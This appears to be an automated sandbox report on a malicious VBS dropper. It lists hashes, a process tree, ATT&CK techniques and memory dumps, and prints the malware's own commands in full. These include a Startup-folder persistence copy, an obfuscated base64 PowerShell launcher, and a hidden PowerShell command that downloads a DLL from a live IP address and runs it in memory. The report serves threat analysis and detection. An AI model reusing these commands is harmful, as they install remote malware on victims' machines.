946bd0343beb66996e777f0f7b83143053aa574ddaae249fae927795891a0363

General

Target

bc1df94edc704d4be73eb5e91c2331be.vbs
Size

151KB
MD5

bc1df94edc704d4be73eb5e91c2331be
SHA1

18d6f490b6a99d8a17df13c0bd037fd56e215d8c
SHA256

946bd0343beb66996e777f0f7b83143053aa574ddaae249fae927795891a0363
SHA512

1c6af4ec257a33e365dc43b278fbbbd4e127cfe1b89974c871425b8165b30c374707eac15deaeb7b4bb869159d9d4271951dc7ce28cf062f9c147278018b1d61

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1172 powershell.exe

flow	pid	process
4	1172	powershell.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ FAH.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ FAH.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

872 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1644 powershell.exe
436 powershell.exe
1172 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1644 powershell.exe
Token: SeDebugPrivilege 436 powershell.exe
Token: SeDebugPrivilege 1172 powershell.exe

pid	process
872	PING.EXE

pid	process
1644	powershell.exe
436	powershell.exe
1172	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.execmd.exepowershell.exe

description	pid	process	target process
PID 628 wrote to memory of 700	628	WScript.exe	cmd.exe
PID 628 wrote to memory of 700	628	WScript.exe	cmd.exe
PID 628 wrote to memory of 700	628	WScript.exe	cmd.exe
PID 700 wrote to memory of 872	700	cmd.exe	PING.EXE
PID 700 wrote to memory of 872	700	cmd.exe	PING.EXE
PID 700 wrote to memory of 872	700	cmd.exe	PING.EXE
PID 700 wrote to memory of 1644	700	cmd.exe	powershell.exe
PID 700 wrote to memory of 1644	700	cmd.exe	powershell.exe
PID 700 wrote to memory of 1644	700	cmd.exe	powershell.exe
PID 628 wrote to memory of 436	628	WScript.exe	powershell.exe
PID 628 wrote to memory of 436	628	WScript.exe	powershell.exe
PID 628 wrote to memory of 436	628	WScript.exe	powershell.exe
PID 436 wrote to memory of 1172	436	powershell.exe	powershell.exe
PID 436 wrote to memory of 1172	436	powershell.exe	powershell.exe
PID 436 wrote to memory of 1172	436	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bc1df94edc704d4be73eb5e91c2331be.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:628

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\bc1df94edc704d4be73eb5e91c2331be.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ FAH.vbs')
2⤵
- Suspicious use of WriteProcessMemory
PID:700

C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 10
3⤵
- Runs ping.exe
PID:872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\bc1df94edc704d4be73eb5e91c2331be.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ FAH.vbs')
3⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙DQ☙cwBu☙C8☙d☙Bz☙GU☙d☙☙v☙Dk☙N☙☙u☙Dk☙MQ☙u☙DE☙N☙☙y☙C4☙MQ☙5☙C8☙Lw☙6☙H☙☙d☙B0☙Gg☙Jw☙p☙Ck☙';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.4sn/tset/94.91.142.19//:ptth'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
86d1e4289c3dafd80c85439e1588fca3

SHA1
3d3da8cee6a477a43456c38ea1476a1d525b5350

SHA256
31583d18d5bdf6b7f6a1646550af30c19ea2e23d59ee49b7182ab154e521ebf1

SHA512
a624753e8114ce01f84b4d1056933adfda0449a0e3fd9aa55ba884020b6a43195da09f3706d1f7d1627fc866d4e0d8df5400b9676246e280fb2c6181519ea419

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
86d1e4289c3dafd80c85439e1588fca3

SHA1
3d3da8cee6a477a43456c38ea1476a1d525b5350

SHA256
31583d18d5bdf6b7f6a1646550af30c19ea2e23d59ee49b7182ab154e521ebf1

SHA512
a624753e8114ce01f84b4d1056933adfda0449a0e3fd9aa55ba884020b6a43195da09f3706d1f7d1627fc866d4e0d8df5400b9676246e280fb2c6181519ea419

Download Submit
memory/436-67-0x000007FEF1CC0000-0x000007FEF281D000-memory.dmp

Filesize
11.4MB

Download
memory/436-69-0x0000000002632000-0x0000000002634000-memory.dmp

Filesize
8KB

Download
memory/436-70-0x0000000002634000-0x0000000002637000-memory.dmp

Filesize
12KB

Download
memory/436-71-0x000000000263B000-0x000000000265A000-memory.dmp

Filesize
124KB

Download
memory/436-63-0x0000000000000000-mapping.dmp

Download
memory/436-68-0x0000000002630000-0x0000000002632000-memory.dmp

Filesize
8KB

Download
memory/628-53-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

Filesize
8KB

Download
memory/700-54-0x0000000000000000-mapping.dmp

Download
memory/872-55-0x0000000000000000-mapping.dmp

Download
memory/1172-78-0x00000000023C4000-0x00000000023C7000-memory.dmp

Filesize
12KB

Download
memory/1172-79-0x00000000023CB000-0x00000000023EA000-memory.dmp

Filesize
124KB

Download
memory/1172-75-0x000007FEF1CC0000-0x000007FEF281D000-memory.dmp

Filesize
11.4MB

Download
memory/1172-76-0x00000000023C0000-0x00000000023C2000-memory.dmp

Filesize
8KB

Download
memory/1172-77-0x00000000023C2000-0x00000000023C4000-memory.dmp

Filesize
8KB

Download
memory/1172-72-0x0000000000000000-mapping.dmp

Download
memory/1644-62-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/1644-58-0x000007FEF2660000-0x000007FEF31BD000-memory.dmp

Filesize
11.4MB

Download
memory/1644-65-0x00000000029EB000-0x0000000002A0A000-memory.dmp

Filesize
124KB

Download
memory/1644-56-0x0000000000000000-mapping.dmp

Download
memory/1644-61-0x00000000029E4000-0x00000000029E7000-memory.dmp

Filesize
12KB

Download
memory/1644-59-0x00000000029E0000-0x00000000029E2000-memory.dmp

Filesize
8KB

Download
memory/1644-60-0x00000000029E2000-0x00000000029E4000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing